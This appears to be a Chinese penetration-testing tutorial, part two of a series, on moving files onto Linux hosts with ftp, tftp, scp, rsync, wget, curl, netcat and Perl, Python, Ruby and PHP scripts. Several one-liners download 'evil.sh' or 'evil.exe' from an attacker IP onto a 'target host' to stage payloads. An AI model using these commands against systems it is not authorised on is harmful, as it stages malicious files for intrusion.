Windows&Linux文件传输方式总结(二)

简介: Windows&Linux文件传输方式总结(二)

免责声明



本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

只供对已授权的目标使用测试,对未授权目标的测试作者不承担责任,均由使用本人自行承担。


文章正文


Linux

ftp

ftp在linux一般都自带,我们可以在终端输入ftp进行交互,所以我们可以在本地搭建FTP服务,之后在目标主机上通过终端下的ftp进行远程连接来下载文件

可以使用python3的pyftpdlib模块来搭建ftp:

安装

pip install pyftpdlib


启动

python -m pyftpdlib -p 2121


至此一个简单的FTP服务器已经搭建完成,访问 ftp://127.0.0.1:2121 即可

(默认IP为 127.0.0.1 、端口为 2121

可选参数:

-i 指定IP地址(默认为本机的IP地址)-p 指定端口(默认为2121)-w 写权限(默认为只读)-d 指定目录 (默认为当前目录)-u 指定用户名登录-P 设置登录密码


也可以使用IPOP启动一个简易的FTP服务:

之后在目标主机上远程下载evil.exe文件:


tftp

使用下面的命令将服务器本地文件上传到远程主机:

(从服务器下载远程主机的文件也类似,不再演示)

第一步,远程主机运行TFTP服务

apt-get install atftpd  //安装tftp服务程序mkdir /tmp/backup  //创建目录chmod 777 /tmp/backup  //修改权限sudo atftpd --daemon --port 69 /tmp/backup  //启动服务程序


第二步,Linux服务器创建测试文件并使用tftp将文件上传到远程主机

echo "sent by tftp." > tftp.senttftp 192.168.43.237put tftp.sent tftp.get


第三步,远程主机查看接收到的文件


sftp

sftp是Secure File Transfer Protocol的缩写,安全文件传送协议。可以为传输文件提供一种安全的网络的加密方法。sftp 与 ftp 有着几乎一样的语法和功能。SFTP 为 SSH的其中一部分。

用法:

运行SSH服务

systemctl start sshd


连接远程服务器:

sftp username@ip


回车之后输入服务器密码即可连接成功。

将文件上传到服务器上:

put [本地文件的地址] [服务器上文件存储的位置]


将服务器上的文件下载到本地:

get [服务器上文件存储的位置] [本地要存储的位置]



scp

scp是secure copy的简写,用于在Linux下进行远程拷贝文件/目录的命令。

和它类似的命令有cp,不过cp只是在本机进行拷贝不能跨服务器,而且scp传输是加密的。可能会稍微影响一下速度。当你服务器硬盘变为只读 read only system时,用scp可以帮你把文件移出来。



另外,scp还非常不占资源,不会提高多少系统负荷,在这一点上,rsync就远远不及它了。虽然 rsync比scp会快一点,但当小文件众多的情况下,rsync会导致硬盘I/O非常高,而scp基本不影响系统正常使用。scp在跨机器复制的时候为了提高数据的安全性,使用了ssh连接和加密方式,如果机器之间配置了ssh免密码登录,那在使用scp的时候密码都不用输入。


安装:

yum install -y openssh-clients


使用:

从本地复制到远程

# 拷贝文件scp /home/test/test.txt root@192.168.0.2:/home/test/# 拷贝目录scp -r /home/test/ root@192.168.0.2:/home/test/


从远程复制到本地

# 拷贝文件scp root@192.168.0.2:/home/test/test.txt /home/test/# 拷贝目录scp -r root@192.168.0.2:/home/test/ v/home/test/



rsync

rsync(remote synchronize)是一个远程数据同步工具,可通过 LAN/WAN 快速同步多台主机之间的文件。也可以使用 rsync 同步本地硬盘中的不同目录。

rsync 具有如下的基本特性:

可以镜像保存整个目录树和文件系统可以很容易做到保持原来文件的权限、时间、软硬链接等无须特殊权限即可安装优化的流程,文件传输效率高可以使用 rsh、ssh 方式来传输文件,当然也可以通过直接的 socket 连接支持匿名传输,以方便进行网站镜象


在使用 rsync 进行远程同步时,可以使用两种方式:远程 Shell 方式(建议使用 ssh,用户验证由 ssh 负责)和 C/S 方式(即客户连接远程 rsync 服务器,用户验证由 rsync 服务器负责)。

无论本地同步目录还是远程同步数据,首次运行时将会把全部文件拷贝一次,以后再运行时将只拷贝有变化的文件(对于新文件)或文件的变化部分(对于原有文件)。

rsync 的命令格式为:

1)本地使用:rsync [OPTION...] SRC... [DEST]2)通过远程 Shell 使用:拉: rsync [OPTION...] [USER@]HOST:SRC... [DEST]推: rsync [OPTION...] SRC... [USER@]HOST:DEST3)访问 rsync 服务器:拉: rsync [OPTION...] [USER@]HOST::SRC... [DEST]推: rsync [OPTION...] SRC... [USER@]HOST::DEST拉: rsync [OPTION...] rsync://[USER@]HOST[:PORT]/SRC... [DEST]推: rsync [OPTION...] SRC... rsync://[USER@]HOST[:PORT]/DEST


例子,使用下面的命令将服务器本地文件上传到远程主机:

echo "sent by rsync." > rsync.sent
rsync -v -u -a -stat rsync.sent user1@192.168.43.237:/home/user1/rsync.get


远程主机查看接收到的文件


rz、sz(lrzsz)

rz sz指令可以实现linux和windows之间的文件传输,但要求在windows客户端要安装Xshell或SecureCRT远程连接工具。

rz指令和sz指令是一对上传与下载的指令。它们的软件包名为lrzsz。

  • rz : 用于linux与windows之间的文件上传
  • sz : 用于linux与windows之间的文件下载

工具的安装: 

yum install lrzsz -y


rz sz指令使用很简单,执行rz 指令,远程连接工具会弹出windows文件选择窗口,只要选择要上传的文件即可

文件上传:

文件下载:


wget

wget 是一个从网络上自动下载文件的自由工具,支持通过 HTTP、HTTPS、FTP 三个最常见的 TCP/IP协议下载,并可以使用HTTP 代理。"wget" 这个名称来源于 “World Wide Web” 与 “get” 的结合。当目标主机上有安装wget时,我们可以直接通过该应用程序来实现远程文件下载:

wget http://192.168.174.1:1234/evil.sh



cURL

cURL是一个利用URL语法在命令行下工作的文件传输工具,1997年首次发行,它支持文件上传和下载,所以是综合传输工具,但按传统,习惯称cURL为下载工具,cURL还包含了用于程序开发的libcurl,当目标主机中安装了curl时我们可以通过以下方式来实现远程下载文件到本地:

curl http://192.168.174.1:1234/evil.sh -o evil.sh



netcat



首先,我们在本地使用nc起一个监听,并传递我们想要传输的文件名称:



之后在目标主机上下载文件:


Perl

Perl是目前很受欢迎的主流脚本语言,linux主机一般都自带perl环境,我们可以在终端中使用vim来编辑一个perl脚本,之后执行perl来实现远程文件下载:

#!perl#!/usr/bin/perluse LWP::Simple;getstore("http://192.168.174.1:1234/evil.sh","evil.sh");




之后在终端运行该perl文件即可:


python


Python是目前很受欢迎的主流脚本语言,当目标主机内安装了python时,我们可以在shell中使用python来实现远程文件下载:


Type "help", "copyright", "credits" or "license" for more information.>>> import urllib2>>> u = urllib2.urlopen('http://192.168.174.1:1234/evil.sh')>>> localfile = open('local_file.sh','w')>>> localfile.write(u.read())>>> localfile.close()>>>



Ruby


当目标主机内安装了Ruby时,我们可以在终端使用vim来编辑一个Ruby脚本,之后执行Ruby来实现远程文件下载:

#!ruby#!/usr/bin/rubyrequire 'net/http'Net::HTTP.start("192.168.174.1") { |http|r = http.get("/evil.sh")open("save_location.sh", "wb") { |file|file.write(r.body)}}



成功下载文件到本地



PHP

当目标主机内安装了PHP时,我们可以在终端使用vim来编辑一个PHP脚本,之后执行PHP来实现远程文件下载:

<?php $data = @file("http://example.com/file.sh");        $lf = "local_file.sh";        $fh = fopen($lf, 'w');        fwrite($fh, $data[0]);        fclose($fh);?>


成功下载远程文件到本地

相关文章
|
7天前
|
iOS开发 MacOS Windows
|
3天前
|
NoSQL Linux Redis
Redis的介绍,以及Redis的安装(本机windows版,虚拟机Linux版)和Redis常用命令的介绍
Redis的介绍,以及Redis的安装(本机windows版,虚拟机Linux版)和Redis常用命令的介绍
17 0
|
12天前
|
前端开发 Linux iOS开发
【Flutter前端技术开发专栏】Flutter在桌面应用(Windows/macOS/Linux)的开发实践
【4月更文挑战第30天】Flutter扩展至桌面应用开发,允许开发者用同一代码库构建Windows、macOS和Linux应用,提高效率并保持平台一致性。创建桌面应用需指定目标平台,如`flutter create -t windows my_desktop_app`。开发中注意UI适配、性能优化、系统交互及测试部署。UI适配利用布局组件和`MediaQuery`,性能优化借助`PerformanceLogging`、`Isolate`和`compute`。
【Flutter前端技术开发专栏】Flutter在桌面应用(Windows/macOS/Linux)的开发实践
|
13天前
|
Linux Python Windows
Python虚拟环境virtualenv安装保姆级教程(Windows和linux)
Python虚拟环境virtualenv安装保姆级教程(Windows和linux)
|
14天前
|
监控 安全 Linux
【专栏】在网络安全至关重要的今天,Linux系统中的SCP和SFTP成为安全文件传输的首选工具
【4月更文挑战第28天】在网络安全至关重要的今天,Linux系统中的SCP和SFTP成为安全文件传输的首选工具。SCP,一个基于SSH的轻量级工具,允许用户方便地在本地和远程主机间复制文件。要使用SCP,首先确保安装了OpenSSH,然后通过基本命令进行文件传输,如`scp source destination`。SFTP则提供了一个类似FTP的界面,通过`sftp`命令启动客户端,进行直观的文件操作。两者均基于SSH协议,保证数据加密。为确保安全,建议使用强密码、密钥对、禁用根用户直接登录,并配置防火墙及监控日志。了解和掌握这些工具能提升工作效率并保护数据安全。
|
27天前
|
SQL 监控 安全
Linux&Windows 日志分析 陇剑杯 CTF
Linux&Windows 日志分析 陇剑杯 CTF
|
1月前
|
Linux Windows
Windows、Mac、Linux解决端口被占用的问题
Windows、Mac、Linux解决端口被占用的问题
28 1
|
3月前
|
弹性计算 运维 安全
阿里云服务器linux和windows镜像有啥区别?
阿里云服务器linux和windows镜像有啥区别?阿里云服务器镜像Windows和Linux操作系统有什么区别?性能有差异吗?有,同配置下Linux性能要优于Windows,但这与阿里云无关,仅仅是linux和windows之间的区别。另外,阿里云提供的windows和linux操作系统均为正版授权,用户不需要额外支付许可费用,如何选择?看用户自己的应用程序情况
|
3月前
|
弹性计算 运维 安全
阿里云服务器镜像怎么选?Linux和Windows有啥区别?
阿里云服务器镜像怎么选?Linux和Windows有啥区别?阿里云服务器镜像Windows和Linux操作系统有什么区别?性能有差异吗?有,同配置下Linux性能要优于Windows,但这与阿里云无关,仅仅是linux和windows之间的区别。另外,阿里云提供的windows和linux操作系统均为正版授权,用户不需要额外支付许可费用,如何选择?看用户自己的应用程序情况
75 0